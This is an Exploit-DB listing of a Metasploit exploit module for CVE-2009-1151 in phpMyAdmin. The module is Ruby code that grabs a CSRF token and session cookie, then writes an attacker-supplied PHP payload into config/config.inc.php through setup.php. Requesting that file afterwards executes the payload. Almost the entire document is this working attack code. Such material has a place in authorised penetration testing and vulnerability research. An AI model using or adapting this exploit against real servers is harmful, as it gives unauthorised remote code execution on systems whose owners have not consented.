标题: phpMyAdmin - Config File Code Injection (Metasploit) EDB-ID: 16913 CVE: 2009-1151 类型: WEBAPPS 平台: PHP 发布日期: 2010-07-03 漏洞利用脚本: ##
# $Id: phpmyadmin_config.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'PhpMyAdmin Config File Code Injection',
   'Description'    => %q{
     This module exploits a vulnerability in PhpMyAdmin's setup
    feature which allows an attacker to inject arbitrary PHP
    code into a configuration file. The original advisory says
    the vulnerability is present in phpMyAdmin versions 2.11.x
    < 2.11.9.5 and 3.x < 3.1.3.1; this module was tested on
    3.0.1.1.

    The file where our payload is written
    (phpMyAdmin/config/config.inc.php) is not directly used by
    the system, so it may be a good idea to either delete it or
    copy the running config (phpMyAdmin/config.inc.php) over it
    after successful exploitation.
   },
   'Author'         =>
    [
     'Greg Ose', # Discovery
     'pagvac',   # milw0rm PoC
     'egypt'     # metasploit module
    ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9669 $',
   'References'     =>
    [
     [ 'CVE', '2009-1151' ],
     [ 'OSVDB', '53076' ],
     [ 'URL', 'http://www.milw0rm.com/exploits/8921' ],
     [ 'URL', 'http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php' ],
     [ 'URL', 'http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/' ]
    ],
   'Privileged'     => false,
   'Platform'       => ['php'],
   'Arch'           => ARCH_PHP,
   'Payload'        =>
    {
     'Space'       => 4000, # unlimited really since our shellcode gets written to a file
     'DisableNops' => true,
     # No filtering whatsoever, so no badchars
     'Compat'      =>
      {
       'ConnectionType' => 'find',
      },
     'Keys'        => ['php'],
    },
   'Targets'        =>
    [
     [ 'Automatic (phpMyAdmin 2.11.x < 2.11.9.5 and 3.x < 3.1.3.1)', { } ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Mar 24 2009'))

  register_options(
   [
    OptString.new('URI',   [ true,  "Base phpMyAdmin directory path", '/phpMyAdmin/']),
   ], self.class)
 end

 def exploit
  # First, grab the session cookie and the CSRF token
  print_status("Grabbing session cookie and CSRF token")
  uri = datastore['URI'] + "scripts/setup.php"
  response = send_request_raw({ 'uri' => uri})
  if !response
   raise RuntimeError.new("Server did not respond to our initial request")
   return
  end
  if (response.body !~ /"token"\s*value="([^"]*)"/)
   raise RuntimeError.new("Couldn't find token and can't continue without it. Is URI set correctly?")
   return
  end
  token = $1
  cookie = response["Set-Cookie"]

  # There is probably a great deal of randomization that can be done with
  # this format.
  config = "a:1:{s:7:\"Servers\";a:1:{i:0;a:6:{s:#{payload.encoded.length + 13}:\""
  config << "host']='';" + payload.encoded + ";//"
  config << '";s:9:"' + rand_text_alpha(9) + '";s:9:"extension";s:6:"mysqli";s:12:"connect_type"'
  config << ';s:3:"tcp";s:8:"compress";b:0;s:9:"auth_type";s:6:"config";s:4:"user";s:4:"' + rand_text_alpha(4) + '";}}}'

  data = "token=#{token}&action=save&configuration="
  data << Rex::Text.uri_encode(config)
  data << "&eoltype=unix"

  # Now that we've got the cookie and token, send the evil
  print_status("Sending save request")
  response = send_request_raw({
   'uri'   => datastore['URI'] + "/scripts/setup.php",
   'method'  => 'POST',
   'data'    => data,
   'cookie'  => cookie,
   'headers' =>
   {
    'Content-Type'  => 'application/x-www-form-urlencoded',
    'Content-Length' => data.length
   }
  }, 3)

  print_status("Requesting our payload")

  # very short timeout because the request may never return if we're
  # sending a socket payload
  timeout = 0.1
  response = send_request_raw({
   # Allow findsock payloads to work
   'global' => true,
   'uri' => datastore['URI'] + "/config/config.inc.php"
  }, timeout)

  handler
 end
end URL: https://www.exploit-db.com/exploits/16913